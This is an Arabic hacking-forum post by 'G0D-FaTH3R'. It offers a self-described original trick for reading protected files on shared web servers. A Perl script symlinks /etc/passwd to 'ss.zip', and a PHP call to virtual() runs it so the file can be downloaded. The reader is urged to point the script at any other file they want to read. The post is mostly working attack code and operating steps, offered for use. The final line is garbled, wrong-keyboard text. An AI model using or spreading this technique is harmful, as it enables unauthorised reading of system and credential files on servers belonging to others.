السلام عليكم ورحمة الله  وبركاته
 
  كيف الحال ياعيال إن شاء الله بخير ...
 
  دالة virtual   هالطريقه نادر اللي يعرفها ويمكن محد فكر فيها و الطريقه من اكتشافي و  استنتاجي 
 
  طبعاً راح نشغل  البيرل  ليس مثل ملف cgi-telnet او اي شيل ثاني بالبيرل
 
  هالدالة تشغل اي كود بيرل يطبع امر ماء على الصفحة وهو طبعاً يستفاد  بالسيرفر لتنسيق html 
  لأصحاب تطوير المواقع و برمجة السكربتات ونادر بالمره انك تلقى سيرفرات  حاطه الدالة من ضمن
 
  الدوال الغير مفعله ...
 
  راح اعطيكم كود تضعونه بملف بيرل          كود PHP:
 [html]                           #!/usr/bin/perl -w   
$target="/etc/passwd";     
$distension ="ss.zip";    
print "Content-type: ****/html\n\n";   
print '<**** ****="#C0C0C0" bgcolor="#000000">';   
$symlink = symlink($target,$distension);   
if($symlink == 1) { print " $distension Symlink Created Successfully . . ."; }    
else { print "Cannot Symlink File or File $distension Already Exists[/html]
 . . ."; }  
 
   
 
 زي ماهو مبين بكود  البيرل  أنه راح ينشىء اختصار عن طريق Symlink 
 
  لملف /etc/passwd بملف اسمه ss.zip
 
  ترفعه على السيرفر وطبعاً اعطاءه تصريح 755 وعطيناه اسم ss.pl
 
  وتنشأ ملف php بإستخدام دالة virtual
 
  كود PHP:
  <?php 
 
  virtual("./ss.pl"); 
 
  ?>  
 
 ارفع ملف الـ php على نفس مسار ملف البيرل
 
  وافتحه من المتصفح وراح يجيك نفس اللي بهالصوره   راح يقول    ss.zip Symlink Created Successfully   حمل ملف ss.zip وافتحه عن طريق المفكره (Notepad) وراح تلقى محتوى  /etc/passwd
   راح يقول    ss.zip Symlink Created Successfully   حمل ملف ss.zip وافتحه عن طريق المفكره (Notepad) وراح تلقى محتوى  /etc/passwd 
 الملف في المرافقه
 
  بإمكانك تغير المسار إلى اي مسار اخر تبي تقرأه على السيرفر ...
 
  و أيضاً تستطيع إستعمال  دوال  اخرى للبيرل ...
 
  و إن شاء الله يكون الشرح مفهوم للجميع ..  أهداء الي منظمة : kala$nikoV
smilies15  
 و بالتوفيق ...
 G0D-FaTH3R 
   
FpwvdNDjaydg hgfdvg fHp] ],hg php